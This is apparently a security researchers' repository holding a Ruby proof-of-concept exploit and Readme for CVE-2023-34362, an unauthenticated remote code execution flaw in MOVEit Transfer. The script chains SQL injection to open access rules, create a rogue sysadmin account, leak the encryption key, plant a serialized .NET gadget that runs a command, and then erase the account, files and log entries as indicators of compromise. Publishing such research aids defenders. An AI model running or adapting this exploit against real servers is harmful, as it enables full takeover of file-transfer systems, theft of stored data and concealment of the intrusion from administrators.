├── CVE-2023-34362.rb └── Readme.md /CVE-2023-34362.rb: -------------------------------------------------------------------------------- 1 | # CVE-2023-34362: MOVEit Transfer Unauthenticated RCE 2 | # 3 | # AttackerKB Analysis: https://attackerkb.com/topics/mXmV0YpC3W/cve-2023-34362/rapid7-analysis 4 | # 5 | # Usage: ruby CVE-2023-34362.rb 6 | # 7 | # Note: the deserialization gadget is configured to spawn 'notepad.exe'. 8 | # 9 | # Credits: rbowes-r7 & cfielding-r7 (SQLi), sfewer-r7 (RCE) 10 | 11 | require 'httparty' 12 | require 'digest' 13 | require 'openssl' 14 | 15 | TARGET = "https://#{ARGV[0] || '10.0.0.193'}" 16 | 17 | VERBOSE = false 18 | 19 | # This is required because Ruby messes with header case, and this software cares 20 | HEADERS = [ 21 | 'X-siLock-AgentBrand', 'X-siLock-AgentVersion', 'X-siLock-CanAcceptCompress', 'X-siLock-CanAcceptLumps', 'X-siLock-CanCheckHash', 22 | 'X-siLock-Challenge', 'X-siLock-CheckVirus', 'X-siLock-ClientType', 'X-siLock-CS2-Allow204', 'X-siLock-CS2-AVDLP', 23 | 'X-siLock-CS2-BlockOnError', 'X-siLock-CS2-ChunkSizeKB', 'X-siLock-CS2-ConnTimeoutSecs', 'X-siLock-CS2-DoPreview', 'X-siLock-CS2-Engine', 24 | 'X-siLock-CS2-Error', 'X-siLock-CS2-ISTag', 'X-siLock-CS2-MaxFileSize', 'X-siLock-CS2-Name', 'X-siLock-CS2-RecvTimeoutSecs', 25 | 'X-siLock-CS2-SendTimeoutSecs', 'X-siLock-CS2-Tries', 'X-siLock-CS2-Type', 'X-siLock-CS2-URL', 'X-siLock-CS-Allow204', 26 | 'X-siLock-CS-AVDLP', 'X-siLock-CS-BlockOnError', 'X-siLock-CS-ChunkSizeKB', 'X-siLock-CS-ConnTimeoutSecs', 'X-siLock-CS-DoPreview', 27 | 'X-siLock-CS-Engine', 'X-siLock-CS-Error', 'X-siLock-CS-ISTag', 'X-siLock-CS-MaxFileSize', 'X-siLock-CS-Name', 28 | 'X-siLock-CS-RecvTimeoutSecs', 'X-siLock-CSRFToken', 'X-siLock-CS-SendTimeoutSecs', 'X-siLock-CS-Tries', 'X-siLock-CS-URL', 29 | 'X-siLock-DLPChecked', 'X-siLock-DLPViolation', 'X-siLock-DownloadToken', 'X-siLock-Duration', 'X-siLock-ErrorCode', 30 | 'X-siLock-ErrorDescription', 'X-siLock-FileID', 'X-siLock-FileIDToDelete', 'X-siLock-FilePath', 'X-siLock-FileSize', 31 | 'X-siLock-FolderID', 'X-siLock-FolderPath', 'X-siLock-FolderType', 'X-siLock-Hash', 'X-siLock-HashOK', 32 | 'X-siLock-InstID', 'X-siLock-IntegrityVerified', 'X-siLock-IPAddress', 'X-siLock-LangCode', 'X-siLock-LoginName', 33 | 'X-siLock-LogRecID', 'X-siLock-MailboxOwner', 'X-siLock-NotificationID', 'X-siLock-OriginalFilename', 'X-siLock-PackageID', 34 | 'X-siLock-PartialFileID', 'X-siLock-PartialFilePath', 'X-siLock-Password', 'X-siLock-RealName', 'X-siLock-RelativePath', 35 | 'X-siLock-ResumeInPlace', 'X-siLock-SessionID', 'X-siLock-SessVar', 'X-siLock-TimeBegun', 'X-siLock-TimeElapsed', 36 | 'X-siLock-TimeEnded', 'X-siLock-Transaction', 'X-siLock-Untrusted', 'X-siLock-UploadComment', 'X-siLock-UserFilename', 37 | 'X-siLock-Username', 'X-siLock-VirusChecked', 'X-siLock-XferFormat', 38 | ] 39 | 40 | def log(msg) 41 | $stdout.puts("[+] #{msg}\n\n") 42 | end 43 | 44 | def rand_string(len) 45 | (0...len).map { (65 + rand(26)).chr }.join 46 | end 47 | 48 | # Override the capitalize function to prevent Ruby from changing the case 49 | # incorrectly 50 | module Net::HTTPHeader 51 | def capitalize(name) 52 | name = name.split(/-/).map {|s| s.capitalize }.join('-') 53 | 54 | # Fix the case on headers, because Ruby 55 | HEADERS.each do |h| 56 | name = name.gsub(/#{ h }/i, h) 57 | end 58 | 59 | return name 60 | end 61 | private :capitalize 62 | end 63 | 64 | # Parse a request to find a CSRF token (this is pretty naive but works) 65 | def get_csrf_token(r) 66 | if r.split(/\n/).join() =~ /.*csrftoken" value="([a-f0-9]*)"/ 67 | return $1 68 | else 69 | puts r if VERBOSE 70 | raise 'No csrf token, or my code is bad' 71 | end 72 | end 73 | 74 | # Perform a request to the ISAPI endpoint with an arbitrary transaction 75 | def isapi_request(cookies, transaction, headers) 76 | return HTTParty.get( 77 | "#{TARGET}/moveitisapi/moveitisapi.dll?action=m2", 78 | verify: false, 79 | headers: { 80 | 'Cookie' => cookies, 81 | 'X-siLock-Test': 'abcdX-SILOCK-Transaction: folder_add_by_path', 82 | 'X-siLock-Transaction': transaction, 83 | }.merge(headers), 84 | ) 85 | end 86 | 87 | # Perform a request to the guestaccess.aspx endpoint with cookies 88 | def guestaccess_request(cookies, body) 89 | return HTTParty.post( 90 | "#{TARGET}/guestaccess.aspx", 91 | verify: false, 92 | headers: { 93 | 'Cookie' => cookies, 94 | }, 95 | follow_redirects: false, 96 | body: body, 97 | ) 98 | end 99 | 100 | # Set a session variable by leveraging the header-confusing issue 101 | def set_session(token, h) 102 | sessvars = {} 103 | sessIdx = 0 104 | h.each_pair do |k, v| 105 | puts "* Setting #{k} => #{v}" if VERBOSE 106 | sessvars.store("X-siLock-SessVar#{sessIdx}", "#{ k }: #{ v }") 107 | sessIdx += 1 108 | end 109 | isapi_request(token, 'session_setvars', sessvars).headers 110 | end 111 | 112 | MYGUESTEMAILADDR = "#{rand_string(8)}@#{rand_string(8)}.com" 113 | 114 | # Perform unauthenticated SQLi 115 | def sqli(cookies, sql_payload) 116 | # Set up a fake package in the session. The order here is important. We set these session variables one per request, 117 | # so first set the package information, then switch over to a 'Guest' username to allow the CSRF/injection to work as 118 | # expected. If we dont do this order the session will be cleared and the injection will not work. 119 | set_session(cookies, { 120 | 'MyPkgAccessCode' => 'accesscode', # Must match the final request Arg06 121 | 'MyPkgID' => '0', # Is self provisioned? (must be 0) 122 | 'MyGuestEmailAddr' => MYGUESTEMAILADDR, # Must be a valid email address @ MOVEit.DMZ.ClassLib.dll/MOVEit.DMZ.ClassLib/MsgEngine.cs 123 | 'MyPkgInstID' => '1234', # this can be any int value 124 | 'MyPkgSelfProvisionedRecips' => sql_payload, 125 | 'MyUsername' => 'Guest', 126 | }) 127 | 128 | # Get a CSRF token - this has to be *after* you set MyUsername, since the 129 | # username is incorporated into it 130 | # 131 | # Transaction => request type, different types will work 132 | # Arg06 => the package access code (must match what's set above) 133 | # Arg12 => promptaccesscode requests a form, which contains a CSRF code 134 | puts if VERBOSE 135 | puts "Getting CSRF token from guestaccess.aspx..." if VERBOSE 136 | csrf = get_csrf_token(guestaccess_request(cookies, 'Transaction=dummy&Arg06=accesscode&Arg12=promptaccesscode')) 137 | puts "CSRF token = #{csrf}" if VERBOSE 138 | 139 | # This does the actual injection 140 | puts if VERBOSE 141 | puts "Triggering the payload via guestaccess.aspx..." if VERBOSE 142 | guestaccess_request(cookies, "Arg06=accesscode&transaction=secmsgpost&Arg01=subject&Arg04=body&Arg05=sendauto&Arg09=pkgtest9&csrftoken=#{csrf}") 143 | end 144 | 145 | # Generate an SQLi payload, pass in an array os SQL statements to execute. 146 | def get_sqli_payload(sql_payload) 147 | # Create the initial injection, and create the session object 148 | payload = [ 149 | # The initial injection 150 | "#{rand_string(8)}@#{rand_string(8)}.com')", 151 | ].concat(sql_payload) 152 | 153 | # Join our payload, and terminate with a comment character 154 | return payload.join(';') + ';#' 155 | end 156 | 157 | # We gen a v1 password as we cannot know the Org key bytes to gen a v2/v3/v4 password. We 158 | # can later leak the Org Key, after we gen a sysadmin account and get an API token. 159 | def makev1password(password, salt='AAAA') 160 | 161 | raise "password cannot be empty" if password.empty? 162 | 163 | raise "salt must be 4 bytes" if salt.length != 4 164 | 165 | # These two hardcoded values are found in MOVEit.DMZ.Core.Cryptography.Providers.SecretProvider.GetSecret 166 | pwpre = Base64.decode64('=VT2jkEH3vAs=') 167 | 168 | pwpost = Base64.decode64('=0maaSIA5oy0=') 169 | 170 | md5 = Digest::MD5.new 171 | md5.update(pwpre) 172 | md5.update(salt) 173 | md5.update(password) 174 | md5.update(pwpost) 175 | 176 | pw = [(4+4+16), 0, 0, 0].pack('CCCC') 177 | pw << salt 178 | pw << md5.digest 179 | 180 | return Base64.strict_encode64(pw).gsub('+','-') 181 | end 182 | 183 | def moveitv2encrypt(data, org_key, iv=nil, tag='@%!') 184 | 185 | raise "org_key must be 16 bytyes" if org_key.length != 16 186 | 187 | if iv.nil? 188 | iv = rand_string(4) 189 | # as we only store the first 4 bytes in the header, the IV must be a repeating 4 byte sequence. 190 | iv = iv * 4 191 | end 192 | 193 | # MOVEit.DMZ.Core.Cryptography.Encryption 194 | key = [64, 131, 232, 51, 134, 103, 230, 30, 48, 86, 253, 157].pack('C*') 195 | 196 | key = key + org_key 197 | 198 | key = key + [0, 0, 0, 0].pack('C*') 199 | 200 | # MOVEit.Crypto.AesMOVEitCryptoTransform 201 | cipher = OpenSSL::Cipher.new('AES-256-CBC') 202 | 203 | cipher.encrypt 204 | 205 | cipher.key = key 206 | 207 | cipher.iv = iv 208 | 209 | encrypted_data = cipher.update(data) + cipher.final 210 | 211 | data_sha1_hash = Digest::SHA1.digest(data).unpack('C*') 212 | 213 | org_key_sha1_hash = Digest::SHA1.digest(org_key).unpack('C*') 214 | 215 | # MOVEit.DMZ.Core.Cryptography.Providers.MOVEit.MOVEitV2EncryptedStringHeader 216 | header = [ 217 | 225, # MOVEitV2EncryptedStringHeader 218 | 0, 219 | data_sha1_hash[0], 220 | data_sha1_hash[1], 221 | org_key_sha1_hash[0], 222 | org_key_sha1_hash[1], 223 | org_key_sha1_hash[2], 224 | org_key_sha1_hash[3], 225 | iv.unpack('C*')[0], 226 | iv.unpack('C*')[1], 227 | iv.unpack('C*')[2], 228 | iv.unpack('C*')[3], 229 | ].pack('C*') 230 | 231 | # MOVEit.DMZ.Core.Cryptography.Encryption 232 | return tag + Base64.strict_encode64(header + encrypted_data) 233 | end 234 | 235 | log("Starting. target='#{TARGET}'.") 236 | 237 | # Get an initial ASP.NET_SessionId token and also a siLockLongTermInstID. 238 | puts "Getting a session cookie..." if VERBOSE 239 | 240 | r = HTTParty.get("#{TARGET}/", verify: false) 241 | 242 | cookies = r.get_fields('Set-Cookie').join('; ') 243 | 244 | puts "Cookies = #{cookies}" if VERBOSE 245 | 246 | # Get the session id from the cookies 247 | if cookies =~ /ASP.NET_SessionId=([a-z0-9]+);/ 248 | token = $1 249 | else 250 | raise "Couldn't find token from cookies!" 251 | end 252 | 253 | # Get the InstID from the cookies 254 | if cookies =~ /siLockLongTermInstID=([0-9]+);/ 255 | instid = $1 256 | else 257 | raise "Couldn't find InstID from cookies!" 258 | end 259 | 260 | log("Retrieved initial session token '#{token}' and InstID '#{instid}'.") 261 | 262 | # 263 | # STEP 1: Allow Remote Access 264 | # STEP 2: Create a sysadmin 265 | # 266 | 267 | hax_username = rand_string(8) 268 | hax_loginname = rand_string(8) 269 | hax_password = rand_string(8) 270 | 271 | createuser_payload = [ 272 | 273 | "UPDATE moveittransfer.hostpermits SET Host='*.*.*.*' WHERE Host!='*.*.*.*'", 274 | 275 | "INSERT INTO moveittransfer.users (Username) VALUES ('#{hax_username}')", 276 | 277 | "UPDATE moveittransfer.users SET LoginName='#{hax_loginname}' WHERE Username='#{hax_username}'", 278 | 279 | "UPDATE moveittransfer.users SET InstID='#{instid}' WHERE Username='#{hax_username}'", 280 | 281 | "UPDATE moveittransfer.users SET Password='#{makev1password(hax_password, rand_string(4))}' WHERE Username='#{hax_username}'", 282 | 283 | "UPDATE moveittransfer.users SET Permission='40' WHERE Username='#{hax_username}'", 284 | 285 | "UPDATE moveittransfer.users SET CreateStamp=NOW() WHERE Username='#{hax_username}'", 286 | ] 287 | 288 | log("Creating new sysadmin account: username='#{hax_username}', userlogin='#{hax_loginname}', password='#{hax_password}'.") 289 | 290 | res = sqli(cookies, get_sqli_payload(createuser_payload)) 291 | 292 | if res.code != 200 293 | raise "Couldn't perform initial SQLi (#{res.body})" 294 | end 295 | 296 | # 297 | # STEP 3: Get an API Token 298 | # 299 | 300 | token_response = HTTParty.post( 301 | "#{TARGET}/api/v1/token", 302 | verify: false, 303 | headers: { 304 | 'Content-Type' => 'application/x-www-form-urlencoded', 305 | }, 306 | follow_redirects: false, 307 | body: "grant_type=password&username=#{hax_loginname}&password=#{hax_password}", 308 | ) 309 | 310 | if token_response.code != 200 311 | raise "Couldn't get API token (#{token_response.body})" 312 | end 313 | 314 | token_json = JSON.parse(token_response.body) 315 | 316 | log("Got API access token='#{token_json['access_token']}'.") 317 | 318 | # 319 | # STEP 4: Find a Folder ID 320 | # 321 | 322 | folders_response = HTTParty.get( 323 | "#{TARGET}/api/v1/folders", 324 | verify: false, 325 | headers: { 326 | 'Authorization' => "Bearer #{token_json['access_token']}", 327 | }, 328 | follow_redirects: false, 329 | ) 330 | 331 | if folders_response.code != 200 332 | raise "Couldn't get API folders (#{folders_response.body})" 333 | end 334 | 335 | folders_json = JSON.parse(folders_response.body) 336 | 337 | log("Found folderId '#{folders_json['items'][0]['id']}'.") 338 | 339 | # 340 | # STEP 5: Begin a Resumable File Upload 341 | # 342 | 343 | uploadfile_name = rand_string(8) 344 | uploadfile_size = 8 345 | uploadfile_data = rand_string(uploadfile_size) 346 | 347 | files_response = HTTParty.post( 348 | "#{TARGET}/api/v1/folders/#{folders_json['items'][0]['id']}/files?uploadType=resumable", 349 | verify: false, 350 | headers: { 351 | 'Authorization' => "Bearer #{token_json['access_token']}", 352 | }, 353 | follow_redirects: false, 354 | multipart: true, 355 | body: { 356 | name: uploadfile_name, 357 | size: (uploadfile_size).to_s, 358 | comments: '' 359 | } 360 | ) 361 | 362 | if files_response.code != 200 363 | raise "Couldn't post API files #1 (#{files_response.body})" 364 | end 365 | 366 | files_json = JSON.parse(files_response.body) 367 | 368 | log("Initiated resumable file upload for fileId '#{files_json['fileId']}'...") 369 | 370 | # 371 | # STEP 6: Leak the Encryption Key 372 | # 373 | 374 | haxleak_payload = [ 375 | 376 | # The \ gets escaped, so we leverage CHAR_LENGTH(39) to get the key we want (Standard Networks\siLock\Institutions\0) as all other KeyName's will be longer (Standard Networks\siLock\Institutions\1234) 377 | "UPDATE moveittransfer.files SET UploadAgentBrand=(SELECT PairValue FROM moveittransfer.registryaudit WHERE PairName='Key' AND CHAR_LENGTH(KeyName)=#{'Standard Networks\siLock\Institutions\0'.length}) WHERE ID='#{files_json['fileId']}'" 378 | ] 379 | 380 | sqli(cookies, get_sqli_payload(haxleak_payload)) 381 | 382 | leak_response = HTTParty.get( 383 | "#{TARGET}/api/v1/files/#{files_json['fileId']}", 384 | verify: false, 385 | headers: { 386 | 'Authorization' => "Bearer #{token_json['access_token']}", 387 | }, 388 | follow_redirects: false, 389 | ) 390 | 391 | if leak_response.code != 200 392 | raise "Couldn't post API files #LEAK (#{leak_response.body})" 393 | end 394 | 395 | leak_json = JSON.parse(leak_response.body) 396 | 397 | org_key = leak_json['uploadAgentBrand'] 398 | 399 | log("Leaked the Org Key: #{org_key}") 400 | 401 | # 402 | # STEP 7: Encrypt a Deserialization Gadget 403 | # 404 | 405 | # https://github.com/pwntester/ysoserial.net 406 | # ysoserial.net>ysoserial.exe --command=notepad.exe -o base64 -f BinaryFormatter -g TextFormattingRunProperties 407 | gadget = "AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAugU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtMTYiPz4NCjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIElzSW5pdGlhbExvYWRFbmFibGVkPSJGYWxzZSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6c2Q9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSIgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiPg0KICA8T2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KICAgIDxzZDpQcm9jZXNzPg0KICAgICAgPHNkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgICAgICA8c2Q6UHJvY2Vzc1N0YXJ0SW5mbyBBcmd1bWVudHM9Ii9jIG5vdGVwYWQuZXhlIiBTdGFuZGFyZEVycm9yRW5jb2Rpbmc9Int4Ok51bGx9IiBTdGFuZGFyZE91dHB1dEVuY29kaW5nPSJ7eDpOdWxsfSIgVXNlck5hbWU9IiIgUGFzc3dvcmQ9Int4Ok51bGx9IiBEb21haW49IiIgTG9hZFVzZXJQcm9maWxlPSJGYWxzZSIgRmlsZU5hbWU9ImNtZCIgLz4NCiAgICAgIDwvc2Q6UHJvY2Vzcy5TdGFydEluZm8+DQogICAgPC9zZDpQcm9jZXNzPg0KICA8L09iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCjwvT2JqZWN0RGF0YVByb3ZpZGVyPgs=" 408 | 409 | log("Using deserialization gadget: #{gadget}") 410 | 411 | org_key.gsub!(' ', '') 412 | 413 | org_key = [org_key].pack('H*').bytes.to_a.pack('C*') 414 | 415 | deserialization_gadget = moveitv2encrypt(gadget, org_key) 416 | 417 | log("Encrypted the gadget with Org Key: #{deserialization_gadget}") 418 | 419 | # 420 | # STEP 8: Plant the Gadget 421 | # 422 | 423 | haxupload_payload = [ 424 | 425 | "UPDATE moveittransfer.fileuploadinfo SET State='#{deserialization_gadget}' WHERE FileID='#{files_json['fileId']}'", 426 | ] 427 | 428 | log("Planting encrypted gadget into the DB...") 429 | 430 | sqli(cookies, get_sqli_payload(haxupload_payload)) 431 | 432 | # 433 | # STEP 9: Unsafe Deserialization 434 | # 435 | 436 | p "uploading fileid #{files_json['fileId']} to folderid #{folders_json['items'][0]['id']}" if VERBOSE 437 | 438 | log("Triggering gadget deserialization...") 439 | 440 | files_response = HTTParty.put( 441 | "#{TARGET}/api/v1/folders/#{folders_json['items'][0]['id']}/files?uploadType=resumable&fileId=#{files_json['fileId']}", 442 | verify: false, 443 | headers: { 444 | 'Authorization' => "Bearer #{token_json['access_token']}", 445 | 'Content-Type' => "application/octet-stream", 446 | 'Content-Range' => "bytes 0-#{uploadfile_size-1}/#{uploadfile_size}", 447 | 'X-File-Hash' => Digest::SHA1.hexdigest(uploadfile_data), 448 | }, 449 | follow_redirects: false, 450 | body: uploadfile_data[0,uploadfile_data.length] 451 | ) 452 | 453 | # 500 if payload runs :) 454 | if files_response.code != 500 455 | raise "Couldn't post API files #2 code=#{files_response.code} (#{files_response.body})" 456 | end 457 | 458 | log("Gadget deserialized, RCE Achieved!") 459 | 460 | p files_response.body if VERBOSE 461 | 462 | # 463 | # STEP 10: Delete the IoC’s 464 | # 465 | 466 | deleteuser_payload = [ 467 | 468 | "DELETE FROM moveittransfer.fileuploadinfo WHERE FileID='#{files_json['fileId']}'", # delete the deserialization payload 469 | 470 | "DELETE FROM moveittransfer.files WHERE UploadUsername='#{hax_username}'", # delete the file we uploaded 471 | 472 | "DELETE FROM moveittransfer.activesessions WHERE Username='#{hax_username}'", # 473 | 474 | "DELETE FROM moveittransfer.users WHERE Username='#{hax_username}'", # delete the user account we created 475 | 476 | "DELETE FROM moveittransfer.log WHERE Username='#{hax_username}'", # The web ASP stuff logs by username 477 | 478 | "DELETE FROM moveittransfer.log WHERE Username='#{hax_loginname}'", # The API logs by loginname 479 | 480 | "DELETE FROM moveittransfer.log WHERE Username='Guest:#{MYGUESTEMAILADDR}'", # The SQLi generates a guest log entry. 481 | ] 482 | 483 | log("Deleating IoC's from the DB...") 484 | 485 | sqli(cookies, get_sqli_payload(deleteuser_payload)) 486 | 487 | log("Finished.") -------------------------------------------------------------------------------- /Readme.md: -------------------------------------------------------------------------------- 1 | # CVE-2023-34362: MOVEit Transfer Unauthenticated RCE 2 | 3 | For a full technical description of the vulnerability and exploitation, please read our [AttackerKB Analysis](https://attackerkb.com/topics/mXmV0YpC3W/cve-2023-34362/rapid7-analysis). 4 | 5 | ## Usage 6 | 7 | ``` 8 | ruby CVE-2023-34362.rb 9 | ``` 10 | 11 | Note: The deserialization gadget is configured to spawn 'notepad.exe'. 12 | 13 | ## Example 14 | 15 | ``` 16 | >ruby poc-cve-2023-34362.rb 192.168.86.111 17 | [+] Starting. target='https://192.168.86.111'. 18 | 19 | [+] Retrieved initial session token '3el524tvmjs4iceurhm1r2cq' and InstID '8937'. 20 | 21 | [+] Creating new sysadmin account: username='WZHTXMOU', userlogin='NMMLJIIP', password='LUOZFAIB'. 22 | 23 | [+] Got API access token='3k2Bs4DBE-5YhK4kBr9HoALoGm4UIsOEg-KYMC6kcB3hwtncbiW-FCrvyXu9JuLgaXBzBg9SeX-GaykQHXWE1R4FBK9G-koUKmGB4u34LNzio3mzMDPA3deCNjGVHOkeIPbHdkcH7BouMlUtFcI0PwRt2frY0z6jBxlpXwVr4GqprxTT8lBnqTRsTpq75Mw0g5WudKvqsIa7z7HH0kq7okp7OVH8M5ABWXiFQ0l2vS9ZlXMwuV9o-1LKt1_nFJjLMtUHGn6mNzMinge774X1gOXGws2Qpjl32PlmRShx2GX0yGb8NYsin_JpJeTI-6BFzS6tJbq_UFtKaoND9WH4oZS5sLW2SHlRPNsJIfBrsi6fYKRLewKThQ'. 24 | 25 | [+] Found folderId '963580724'. 26 | 27 | [+] Initiated resumable file upload for fileId '966492920'... 28 | 29 | [+] Leaked the Org Key: 0B 52 CA 0B FA 01 6F 19 5E D3 61 B1 B9 2A DA 75 30 | 31 | [+] Using deserialization gadget: AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAugU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtMTYiPz4NCjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIElzSW5pdGlhbExvYWRFbmFibGVkPSJGYWxzZSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6c2Q9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSIgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiPg0KICA8T2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KICAgIDxzZDpQcm9jZXNzPg0KICAgICAgPHNkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgICAgICA8c2Q6UHJvY2Vzc1N0YXJ0SW5mbyBBcmd1bWVudHM9Ii9jIG5vdGVwYWQuZXhlIiBTdGFuZGFyZEVycm9yRW5jb2Rpbmc9Int4Ok51bGx9IiBTdGFuZGFyZE91dHB1dEVuY29kaW5nPSJ7eDpOdWxsfSIgVXNlck5hbWU9IiIgUGFzc3dvcmQ9Int4Ok51bGx9IiBEb21haW49IiIgTG9hZFVzZXJQcm9maWxlPSJGYWxzZSIgRmlsZU5hbWU9ImNtZCIgLz4NCiAgICAgIDwvc2Q6UHJvY2Vzcy5TdGFydEluZm8+DQogICAgPC9zZDpQcm9jZXNzPg0KICA8L09iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCjwvT2JqZWN0RGF0YVByb3ZpZGVyPgs= 32 | 33 | [+] Encrypted the gadget with Org Key: @%!4QC8WSDbXNJCT0VL6JC/hk5ZHcURgjLQ0B9GNpbAX4Idws3/I9UGjGj1knj44Axu4aEWV1f5UmWeDW5qFMzifaYsXm9JDaou97xYBJ2ZwoLTuh0W4b2GsiF+cvWK6e+vT55A9P53hneQI6Vmg/wqsHbnWLSXV7vu1ehESM27VoDsxdQN6poksUNqTd8bz5iiF1CnkmixHDL7cS8pd2G0BrA6regyKiPFPqVWjvGdBW9aX3pqHxZim7zw8rgOwz1ysjhrqynUY+4fzwQak3NdUsKIVIwagLnD+tAUpYVnL//sJK8JBsnd47Syyj1euF3CYe828p7BumamHiXgMrMA68NC5zq+33tG7a/oXrK5hLft1WPu+9HpxhdNnOTel0N6/RIxcmOfV0bylH7oo8OBLZw6LIQcVgiInv+8xNZ3vPrWK/XYZibNYD2pBNwa38MjS2y9VqqIdi5/zZHo9PuLHayqpM0plqGivMjDq6RXE8gkc/rJ6VNqB2djRCLn8FyOSqR3Btqz/1VnWPDVuooYLnNAfUw7pOnAyu+PABKCExsFbt70YmhIe0loY2clQ6X7LBQtvcEipccKHhwRCxK71yC3gWi7h2OfCh/5VqfOi/cKJ/vs8mEbi1IimeXvAdTXXS3yfzyOURS3nOrHsutF0dhfIfpw0gDVSkdgMVFVRIgxAW160ptBvram/qWIrboe6HawtftSp3Dm7MjaQgT+g/XmVIAAbFYb0jyOOYj/oneOGmSimm4Oupyv2+xiTDf2pHGF1DgF06zT87wmWWvv7TJ3ENNe4sqGmZ6jQB6loZf+/+BEzhYUZgELCHL0UyAu3o6H3a6DtYZ/kkmH+LpYzd9WaplYUyfKQmqChdSO+zqe83uw6rPRql+C+wJOKcGVNAvUMaxCqn3n4rQf73Dg8PicPZHRa/hAD6QOUo7RXbuBPI721NcnhWNg4j/zlW4t7Zosq0j1QQdqP4DleIpeeO/mvXLd1EeqfM8dMI8FxNk2scRGX6Q6WbjVkLfXFRCx7BDpkIR4pB+0Qbtd1Y8BFUxrjKbRfN0rovIz++yBN2STILcLWr8twT21uMwDPuqzPBCY/a1hsl1hE0T2mbtP2ghGcLu2TzaV/XebpH6mndAHJVKey5FcDvZnInp/l2xCdofxxgsYK9i0KqzOS7liQdYz5qyau8dnSHxFiAWRJRI4IkkW6QNtmsTSTlth88aK4nKBXc5DUqUL71N4j6RMVRwZqUJKJy55h3gc84We96H16v6/GYV5QSPm3/DqDA0KKKkqej1Mh0FWfpxjjKwPy+oeEErIHBeUQMIgjdm06XPuzfejT66UvZsgX4YO3BiGcNUYD3WdeIFwEKnpHU/Xw/9j3oPcTyGWWeal2vvQDJ2j9xa4OLFa3waJjb6Zd56l07CUNhN0CiGBTfPagyj/c+NKPiSUWNJDN5bea3duiK670cMQTdMLWDeBUN4qUXPtBKr4wyrcNNhbxIqASx1MCWqIOxQ8MSIedvgrO4w84cl2ntXCSMIyGXREgJ/iWgCIlBjCke3PLY7EKXqihmV8ESLrY78iTniC1/gVL6rQDu+haUuIZxogRs/8PKjo8cI4VMTXE0EaNFCAjc9K2d6hc6ZnBMv9vKF9TwKcm/w92O7TBAjqp3kjQ3JezWk= 34 | 35 | [+] Planting encrypted gadget into the DB... 36 | 37 | [+] Triggering gadget deserialization... 38 | 39 | [+] Gadget deserialized, RCE Achieved! 40 | 41 | [+] Deleating IoC's from the DB... 42 | 43 | [+] Finished. 44 | ``` 45 | 46 | ## Credits 47 | 48 | rbowes-r7 & cfielding-r7 (SQLi), sfewer-r7 (RCE) --------------------------------------------------------------------------------